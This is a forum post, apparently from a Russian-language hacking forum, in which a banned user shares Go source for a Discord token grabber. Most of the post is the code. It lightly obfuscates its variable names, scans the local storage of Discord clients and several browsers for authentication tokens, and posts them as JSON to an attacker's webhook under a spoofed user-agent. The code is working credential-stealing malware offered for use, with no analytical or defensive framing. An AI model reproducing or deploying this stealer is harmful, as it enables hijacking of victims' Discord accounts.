• XSS.stack #1 – первый литературный журнал от юзеров форума

[ Golang ] Discord Token Grabber [ source ] // Very Simple

KRBattle

floppy-диск
Забанен
Регистрация
15.02.2022
Сообщения
8
Реакции
3
Пожалуйста, обратите внимание, что пользователь заблокирован
Very simple discord token grabber.
I'm a beginner and the code is a mess.
1.png

Код:
package main

import (
    "bytes"
    "fmt"
    "io/ioutil"
    "net/http"
    "os"
    "regexp"
    "runtime"
    "strings"
)

const (
    a7Ju57ZuF = "Webhook"
)

func Z2V0RGlycw() (cGF0aHM map[string]string) {
    if runtime.GOOS == "windows" {
        bG9jYWxsb2NhbGxvY2FsbG9jYWw := os.Getenv("LOCALAPPDATA")
        cm9hbWluZ3JvYW1pbmdyb2FtaW5n := os.Getenv("APPDATA")
        cGF0aHM = map[string]string{
            "Lightcord":      cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Lightcord",
            "Discord":        cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Discord",
            "Discord Canary": cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/discordcanary",
            "Discord PTB":    cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/discordptb",
            "Google Chrome":  bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Google/Chrome/User Data/Default",
            "Microsoft Edge": bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Microsoft/Edge/User Data/Default",
            "Opera":          cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Opera Software/Opera Stable",
            "Opera GX":       cm9hbWluZ3JvYW1pbmdyb2FtaW5n + "/Opera Software/Opera GX Stable",
            "Brave":          bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/BraveSoftware/Brave-Browser/User Data/Default",
            "Naver Whale":    bG9jYWxsb2NhbGxvY2FsbG9jYWw + "/Naver/Naver Whale/User Data/Default",
        }
    }
    return
}

func ZmluZFRva2Vucw(cGF0aHBhdGhwYXRocGF0aA string) (tokens []string) {
    Y0dGMGFIQmhkR2h3WVhSb2NHRjBhQQ := regexp.MustCompile("[\\w-]{24,26}\\.[\\w-]{6}\\.[\\w-]{27,38}|mfa\\.[\\w-]{84}")

    cGF0aHBhdGhwYXRocGF0aA += "/local Storage/leveldb/"
    files, _ := ioutil.ReadDir(cGF0aHBhdGhwYXRocGF0aA)
    for _, file := range files {
        name := file.Name()
        if strings.HasSuffix(name, ".log") || strings.HasSuffix(name, ".ldb") {
            content, _ := ioutil.ReadFile(cGF0aHBhdGhwYXRocGF0aA + "/" + name)
            lines := bytes.Split(content, []byte("\\n"))
            for _, line := range lines {
                for _, match := range Y0dGMGFIQmhkR2h3WVhSb2NHRjBhQQ.FindAll(line, -1) {
                    tokens = append(tokens, string(match))
                }
            }
        }
    }
    return
}

func main() {
    cGF0aHM := Z2V0RGlycw()

    var message string
    for platform, cGF0aHBhdGhwYXRocGF0aA := range cGF0aHM {
        if _, err := os.Stat(cGF0aHBhdGhwYXRocGF0aA); os.IsNotExist(err) {
            continue
        }
        message += fmt.Sprintf("**%s**\\n```\\n", platform)
        tokens := strings.Join(ZmluZFRva2Vucw(cGF0aHBhdGhwYXRocGF0aA), "\\n")
        if len(tokens) > 0 {
            message += tokens
        } else {
            message += "I can't find a token here"
        }
        message += "\\n```\\n"
    }
    data := []byte(`{"content":"` + message + `"}`)
    req, _ := http.NewRequest("POST", a7Ju57ZuF, bytes.NewBuffer(data))
    req.Header.Set("user-agent", "Mozilla/5.0 (Windows NT 6.2; rv:20.0) Gecko/20121202 Firefox/20.0")
    req.Header.Set("content-type", "application/json")
    cl := &http.Client{}
    resp, err := cl.Do(req)
    if err != nil {
        panic(err)
    }
    defer resp.Body.Close()
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх